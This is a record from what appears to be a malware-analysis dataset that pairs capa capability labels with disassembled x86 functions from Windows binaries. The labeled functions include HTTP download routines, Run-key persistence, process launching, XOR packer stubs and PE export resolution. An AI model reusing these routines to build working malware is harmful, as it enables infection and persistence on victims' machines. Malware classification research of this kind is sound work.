joyce8/EMBER2024-capa huggingface dataset:
Function at 0x471fd0
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x471ffe
mov eax, ebx
call fcn.00472a84
cmp dword [ebx + 0x40], 0
je 0x471ff7
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x47206f
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x472061
cmp dword [ebx + 8], 0
je 0x472020
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x472032
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x472061
cmp dword [ebx + 8], 0
je 0x472013
cmp eax, 3
je 0x472045
dec eax
jne 0x472013
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x472013
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x472013
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x47208d
cmp dword [ebx + 0x14], 0xcc
je 0x47208d
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.00472098
pop ebx
ret

Function at 0x482634
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc0
push ebx
push esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004051e0
mov eax, dword [ebp - 8]
call fcn.004051e0
xor eax, eax
push ebp
push 0x4826ff
push dword fs:[eax]
mov dword fs:[eax], esp
mov esi, 0x14
mov dword [ebp - 0x1c], 0x14
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 3
mov dword [ebp - 0x40], 1
mov dword [ebp - 0x3c], 3
mov dword [ebp - 0x34], 2
mov eax, dword [ebp - 8]
call fcn.004051f0
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x28], 3
mov eax, 0x48270c
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0xc], eax
push 0
push 0
push 0
push 1
mov eax, dword [ebp - 4]
call fcn.004051f0
push eax
call sub.wininet.dll_InternetOpenA
mov ebx, eax
push esi
lea eax, [ebp - 0x1c]
push eax
push 0x4b
push ebx
call sub.wininet.dll_InternetSetOptionA
push 0
push 0
push 0x25
push ebx
call sub.wininet.dll_InternetSetOptionA
push ebx
call sub.wininet.dll_InternetCloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x482706
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404d84
ret
Function at 0x482714
Capabilities:
Connect to http server
Create http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffbc
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004051e0
mov eax, dword [ebp - 8]
call fcn.004051e0
mov eax, dword [ebp - 0xc]
call fcn.004051e0
mov eax, dword [ebp + 0xc]
call fcn.004051e0
xor eax, eax
push ebp
push 0x482821
push dword fs:[eax]
mov dword fs:[eax], esp
mov esi, 0x14
mov dword [ebp - 0x20], 0x14
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], 3
mov dword [ebp - 0x44], 1
mov dword [ebp - 0x40], 3
mov dword [ebp - 0x38], 2
mov eax, dword [ebp - 8]
call fcn.004051f0
mov edi, eax
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x2c], 3
mov eax, 0x482834
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x44]
mov dword [ebp - 0x10], eax
push 0
push 0
push 0
push 1
mov eax, dword [ebp - 4]
call fcn.004051f0
push eax
call sub.wininet.dll_InternetOpenA
mov ebx, eax
push 0
push 0
push 3
mov eax, dword [ebp + 0xc]
call fcn.004051f0
push eax
mov eax, dword [ebp - 0xc]
call fcn.004051f0
push eax
movzx eax, word [ebp + 8]
push eax
push edi
push ebx
call sub.wininet.dll_InternetConnectA
push esi
lea eax, [ebp - 0x20]
push eax
push 0x4b
push ebx
call sub.wininet.dll_InternetSetOptionA
push 0
push 0
push 0x25
push ebx
call sub.wininet.dll_InternetSetOptionA
push ebx
call sub.wininet.dll_InternetCloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x482828
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404d84
lea eax, [ebp + 0xc]
call fcn.00404d60
ret

Function at 0x4845e8
Capabilities:
Create http request

Disassembly:
push ebx
push esi
add esp, 0xffffffc8
mov esi, 0x14
mov dword [esp], 0x14
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp + 8], 3
mov dword [esp + 0x14], 1
mov dword [esp + 0x18], 3
mov dword [esp + 0x20], 2
mov eax, 0x48467c
mov dword [esp + 0x24], eax
mov dword [esp + 0x2c], 3
mov eax, 0x484680
mov dword [esp + 0x30], eax
lea eax, [esp + 0x14]
mov dword [esp + 0x10], eax
push 0
push 0
push 0
push 1
push 0x48467c
call sub.wininet.dll_InternetOpenA
mov ebx, eax
push esi
lea eax, [esp + 4]
push eax
push 0x4b
push ebx
call sub.wininet.dll_InternetSetOptionA
push 0
push 0
push 0x25
push ebx
call sub.wininet.dll_InternetSetOptionA
push ebx
call sub.wininet.dll_InternetCloseHandle
add esp, 0x38
pop esi
pop ebx
ret
Function at 0x484647
Capabilities:
Create http request

Disassembly:
push ebx
push esi
add esp, 0xffffffc8
mov esi, 0x14
mov dword [esp], 0x14
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp + 8], 3
mov dword [esp + 0x14], 1
mov dword [esp + 0x18], 3
mov dword [esp + 0x20], 2
mov eax, 0x48467c
mov dword [esp + 0x24], eax
mov dword [esp + 0x2c], 3
mov eax, 0x484680
mov dword [esp + 0x30], eax
lea eax, [esp + 0x14]
mov dword [esp + 0x10], eax
push 0
push 0
push 0
push 1
push 0x48467c
call sub.wininet.dll_InternetOpenA
mov ebx, eax
push esi
lea eax, [esp + 4]
push eax
push 0x4b
push ebx
call sub.wininet.dll_InternetSetOptionA
push 0
push 0
push 0x25
push ebx
call sub.wininet.dll_InternetSetOptionA
push ebx
call sub.wininet.dll_InternetCloseHandle
add esp, 0x38
pop esi
pop ebx
ret

Function at 0x4847d0
Capabilities:
Get geographical location

Disassembly:
add esp, 0xfffffff4
mov eax, esp
xor ecx, ecx
mov edx, 0xa
call fcn.0040376c
push 0xa
lea eax, [esp + 4]
push eax
push 0xd
push 0x400
call sub.kernel32.dll_GetLocaleInfoA_1
cmp byte [esp], 0x31
jne 0x4847fe
mov al, 1
jmp 0x484800
xor eax, eax
add esp, 0xc
ret

Function at 0x4847e8
Capabilities:
Get geographical location

Disassembly:
add esp, 0xfffffff4
mov eax, esp
xor ecx, ecx
mov edx, 0xa
call fcn.0040376c
push 0xa
lea eax, [esp + 4]
push eax
push 0xd
push 0x400
call sub.kernel32.dll_GetLocaleInfoA_1
cmp byte [esp], 0x31
jne 0x4847fe
mov al, 1
jmp 0x484800
xor eax, eax
add esp, 0xc
ret
Function at 0x4872b8
Capabilities:
Copy file
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, 7
push 0
push 0
dec ecx
jne 0x4872c0
push ebx
push esi
push edi
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x4874dd
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x492de8], 0
xor eax, eax
mov dword [0x492df0], eax
lea eax, [ebp - 0x18]
mov ecx, 0x4874f4
mov edx, dword [0x492e0c]
call fcn.00405078
mov ecx, dword [ebp - 0x18]
mov edx, 0x487508
mov eax, dword [ebp - 8]
call fcn.00487db4
lea eax, [ebp - 0x1c]
mov ecx, 0x4874f4
mov edx, dword [0x492e0c]
call fcn.00405078
mov eax, dword [ebp - 0x1c]
call fcn.00409bbc
test al, al
je 0x48745d
lea eax, [ebp - 0x20]
mov ecx, 0x4874f4
mov edx, dword [0x492e0c]
call fcn.00405078
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 8]
call fcn.004882a0
cmp eax, 0x200
jle 0x48745d
push 0
lea eax, [ebp - 0x24]
mov ecx, 0x4874f4
mov edx, dword [0x492e0c]
call fcn.00405078
mov ecx, dword [ebp - 0x24]
mov dl, 1
mov eax, dword [0x416ce4]
call fcn.0041adf0
mov ebx, eax
lea edx, [ebp - 0x12]
mov ecx, 9
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, ebx
call fcn.00403e5c
mov esi, 9
lea eax, [ebp - 0x12]
mov edx, dword [0x493048]
mov dword [ebp - 0x28], edx
mov edx, dword [ebp - 0x28]
test edx, edx
je 0x4873b1
sub edx, 4
mov edx, dword [edx]
test edx, edx
jle 0x4873cd
mov ecx, 1
mov ebx, dword [0x493048]
movzx ebx, byte [ebx + ecx - 1]
xor bl, byte [eax]
mov byte [eax], bl
inc ecx
dec edx
jne 0x4873ba
inc eax
dec esi
jne 0x48739c
mov esi, 9
lea ebx, [ebp - 0x12]
lea eax, [ebp - 0x2c]
movzx edx, byte [ebx]
call fcn.00404f48
mov edx, dword [ebp - 0x2c]
lea eax, [ebp - 4]
call fcn.0040502c
inc ebx
dec esi
jne 0x4873d9
mov eax, dword [ebp - 4]
mov edx, 0x487534
call fcn.00405188
jne 0x48745d
push 0
lea eax, [ebp - 0x30]
mov ecx, 0x487548
mov edx, dword [0x492e0c]
call fcn.00405078
mov eax, dword [ebp - 0x30]
call fcn.004051f0
push eax
lea eax, [ebp - 0x34]
mov ecx, 0x4874f4
mov edx, dword [0x492e0c]
call fcn.00405078
mov eax, dword [ebp - 0x34]
call fcn.004051f0
push eax
call sub.kernel32.dll_CopyFileA
cmp dword [0x492df0], 0
je 0x48745d
mov byte [0x492de8], 1
jmp 0x48745d
xor eax, eax
push ebp
push 0x48749c
push dword fs:[eax]
mov dword fs:[eax], esp
mov ecx, 0x487548
lea eax, [ebp - 0x38]
mov edx, dword [0x492e0c]
call fcn.00405078
mov eax, dword [ebp - 0x38]
call fcn.00409bbc
test al, al
je 0x487492
mov eax, dword [ebp - 8]
call fcn.00488464
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4874ad
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4874e4
lea eax, [ebp - 0x38]
mov edx, 4
call fcn.00404d84
lea eax, [ebp - 0x24]
mov edx, 4
call fcn.00404d84
lea eax, [ebp - 4]
call fcn.00404d60
ret
Function at 0x487db4
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbe0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x420], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.004051e0
mov eax, dword [ebp - 8]
call fcn.004051e0
xor eax, eax
push ebp
push 0x487f7c
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xffff
mov ecx, dword [ebp - 8]
mov dl, 1
mov eax, dword [0x416ce4]
call fcn.0041adf0
mov dword [ebp - 0x1c], eax
lea edx, [ebp - 0x420]
mov eax, 0x22
call fcn.004096f0
mov ecx, dword [ebp - 0x420]
lea eax, [ebp - 0xc]
mov edx, 0x487f94
call fcn.00405078
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0xc]
call fcn.004051f0
push eax
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x487f43
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004051f0
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.wininet.dll_InternetOpenUrlA
mov dword [ebp - 0x18], eax
xor eax, eax
push ebp
push 0x487f25
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10]
push eax
push 0x400
lea eax, [ebp - 0x41c]
push eax
mov eax, dword [ebp - 0x18]
push eax
call sub.wininet.dll_InternetReadFile
xor esi, esi
lea ebx, [ebp - 0x41c]
lea eax, [esi + 0xc]
cmp eax, 0x400
jge 0x487edb
cmp byte [ebx], 0x23
jne 0x487edb
cmp byte [ebx + 1], 0x14
jne 0x487edb
cmp byte [ebx + 2], 0x62
jne 0x487edb
mov edi, 3
mov eax, 0xff
call fcn.004033b8
lea edx, [edi + esi]
mov byte [ebp + edx - 0x41c], al
inc edi
cmp edi, 0xa
jne 0x487ec1
inc esi
inc ebx
cmp esi, 0x400
jne 0x487ea1
cmp dword [ebp - 0x10], 0
jbe 0x487efc
lea edx, [ebp - 0x41c]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
call fcn.0041aba0
cmp dword [ebp - 0x10], 0
jne 0x487e80
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x487f2c
mov eax, dword [ebp - 0x1c]
call fcn.00403e5c
mov eax, dword [ebp - 0x18]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
Function at 0x488044
Capabilities:
Create process on windows
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x488214
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x492e10]
mov edx, dword [0x492e24]
call fcn.00405188
jne 0x48810d
push 0x488220
push 0xffffffffffffffff
push 0
call fcn.00407044
mov dword [0x493054], eax
xor ecx, ecx
mov edx, dword [0x492e18]
mov eax, ebx
call fcn.00487be0
xor ecx, ecx
mov edx, dword [0x492e14]
mov eax, ebx
call fcn.00487be0
push 1
mov ecx, 0x488230
mov edx, dword [0x492e1c]
mov eax, ebx
call fcn.00488a84
mov edx, 1
mov eax, ebx
call fcn.0048775c
mov eax, dword [0x493054]
push eax
call sub.kernel32.dll_CloseHandle
push 0
push 0
push 0
mov eax, dword [0x492e1c]
call fcn.004051f0
push eax
push 0x488238
push 0
call sub.shell32.dll_ShellExecuteA
push 0
push 0
push 0
mov eax, dword [0x492e18]
call fcn.004051f0
push eax
push 0x488238
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
call fcn.00404c94
push 0x488248
mov eax, dword [0x492e18]
push eax
mov ecx, 0x488270
mov edx, 0x80000002
mov eax, ebx
call fcn.00487a14
mov eax, dword [0x492e1c]
call fcn.00409bbc
test al, al
jne 0x48814b
push 1
mov ecx, 0x488230
mov edx, dword [0x492e1c]
mov eax, ebx
call fcn.00488a84
push 0
push 0
push 0
mov eax, dword [0x492e1c]
call fcn.004051f0
push eax
push 0x488238
push 0
call sub.shell32.dll_ShellExecuteA
mov eax, dword [0x492e18]
call fcn.00409bbc
test al, al
jne 0x488185
xor ecx, ecx
mov edx, dword [0x492e18]
mov eax, ebx
call fcn.00487be0
mov eax, dword [0x492e14]
call fcn.00409bbc
test al, al
jne 0x4881a2
xor ecx, ecx
mov edx, dword [0x492e14]
mov eax, ebx
call fcn.00487be0
lea edx, [ebp - 4]
mov eax, dword [0x492e10]
call fcn.00409d58
mov eax, dword [ebp - 4]
mov edx, dword [0x492e0c]
call fcn.00405188
je 0x4881fe
xor ecx, ecx
mov edx, dword [0x492e18]
mov eax, ebx
call fcn.00487be0
push 0
push 0
push 0
mov eax, dword [0x492e18]
call fcn.004051f0
push eax
push 0x488238
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
call fcn.00404c94
jmp 0x4881fe
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48821b
lea eax, [ebp - 4]
call fcn.00404d60
ret
Function at 0x4888d4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x488a41
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
xor eax, eax
mov dword [ebp - 8], eax
xor ebx, ebx
push ebp
push 0x488a05
push dword fs:[ebx]
mov dword fs:[ebx], esp
lea eax, [ebp - 0x18]
mov ecx, 0x488a58
mov edx, dword [0x492e0c]
call fcn.00405078
mov eax, dword [ebp - 0x18]
call fcn.00409bbc
test al, al
je 0x488953
push 0
lea eax, [ebp - 0x1c]
mov ecx, 0x488a58
mov edx, dword [0x492e0c]
call fcn.00405078
mov ecx, dword [ebp - 0x1c]
mov dl, 1
mov eax, dword [0x416ce4]
call fcn.0041adf0
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov edx, dword [eax]
call dword [edx]
mov dword [0x492dfc], eax
mov dword [0x492e00], edx
mov eax, dword [0x492dfc]
call fcn.00402f44
mov dword [0x492e04], eax
mov edx, dword [0x492e04]
mov ecx, dword [0x492dfc]
mov eax, dword [ebp - 8]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [0x492dfc]
dec eax
test eax, eax
jl 0x4889ef
inc eax
mov dword [ebp - 0x10], eax
xor ecx, ecx
mov eax, dword [0x493048]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4889b9
mov eax, dword [ebp - 0x14]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
test eax, eax
jle 0x4889dd
mov edx, 1
mov ebx, dword [0x493048]
movzx ebx, byte [ebx + edx - 1]
mov esi, dword [0x492e04]
xor byte [esi + ecx], bl
inc edx
dec eax
jne 0x4889c5
inc ecx
dec dword [ebp - 0x10]
jne 0x48899a
jmp 0x4889ef
mov eax, dword [ebp - 8]
call fcn.00403e5c
mov byte [ebp - 9], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x488a1c
cmp byte [ebp - 9], 1
je 0x4888ff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x488a48
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.00404d84
ret

Function at 0x433001
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
call 0x43300c
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
jmp 0x431219

Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43000c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403daa
nop
nop
sub eax, 0x403d50
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00401219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
jmp loc.00401219
Function at 0x407d9c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407e75
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407dd4
mov eax, dword [ebp - 4]
call fcn.004071d0
jmp 0x407ddc
mov eax, dword [ebp - 4]
call fcn.00407bd4
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407e28
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407e12
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.004071d0
jmp 0x407e24
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407bd4
inc ebx
dec esi
jne 0x407dec
push 1
push dword [ebp - 4]
push 0x407e8c
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f34
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407e7c
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408e84
mov ecx, 0x4a779c1
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x7b65026d
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x4035ac
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x4fb008], 0x8088405
inc edx
mov dword [ebx + 0x4fb008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x41d2ec
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push ebp
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 8]
cld
mov dl, 0x80
mov al, byte [esi]
add esi, 1
mov byte [edi], al
add edi, 1
mov ebx, 2
add dl, dl
jne 0x41d31d
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41d305
add dl, dl
jne 0x41d328
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41d379
xor eax, eax
add dl, dl
jne 0x41d335
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41d416
add dl, dl
jne 0x41d344
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41d34f
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41d35a
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41d365
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x41d36f
mov ebx, edi
sub ebx, eax
mov al, byte [ebx]
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x41d314
mov eax, 1
add dl, dl
jne 0x41d387
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41d392
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41d37e
sub eax, ebx
mov ebx, 1
jne 0x41d3c5
mov ecx, 1
add dl, dl
jne 0x41d3ab
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41d3b6
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41d3a2
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41d314
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x41d3dc
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41d3e7
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41d3d3
cmp eax, 0x7d00
sbb ecx, 0xffffffff
cmp eax, 0x500
sbb ecx, 0xffffffff
cmp eax, 0x80
adc ecx, 0
cmp eax, 0x80
adc ecx, 0
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41d314
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x41d437
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x41d314
pop ebp
sub edi, dword [ebp - 8]
mov dword [ebp - 0xc], edi
pop edi
pop esi
pop ebx
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x41f504
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov ebx, edx
xor edx, edx
push ebp
push 0x4de9f2
push dword fs:[edx]
mov dword fs:[edx], esp
xor edx, edx
mov dword [ebp - 8], edx
mov esi, ebx
xor ecx, ecx
cmp byte [eax + 0x6a], 0
je 0x41f553
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [esi + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x88]
test edx, edx
je 0x41f572
mov ecx, edx
add ecx, ebx
jmp 0x41f572
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [esi + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x78]
test edx, edx
je 0x41f572
mov ecx, edx
add ecx, ebx
test ecx, ecx
je 0x41f5e4
mov esi, dword [ecx + 0x18]
mov eax, dword [ecx + 0x1c]
add eax, ebx
mov dword [ebp - 0x10], eax
mov edi, dword [ecx + 0x20]
add edi, ebx
mov eax, dword [ecx + 0x24]
add eax, ebx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
cmp eax, 0xffff
jbe 0x41f5cd
test esi, esi
jbe 0x41f5e4
mov eax, dword [edi]
add eax, ebx
mov edx, dword [ebp - 4]
call fcn.004088f4
test eax, eax
jne 0x41f5bf
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
jmp 0x41f5e4
add dword [ebp - 0xc], 2
add edi, 4
dec esi
test esi, esi
ja 0x41f59c
jmp 0x41f5e4
mov edx, eax
sub edx, dword [ecx + 0x10]
cmp edx, dword [ecx + 0x14]
jae 0x41f5e4
mov eax, edx
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4de9f9
ret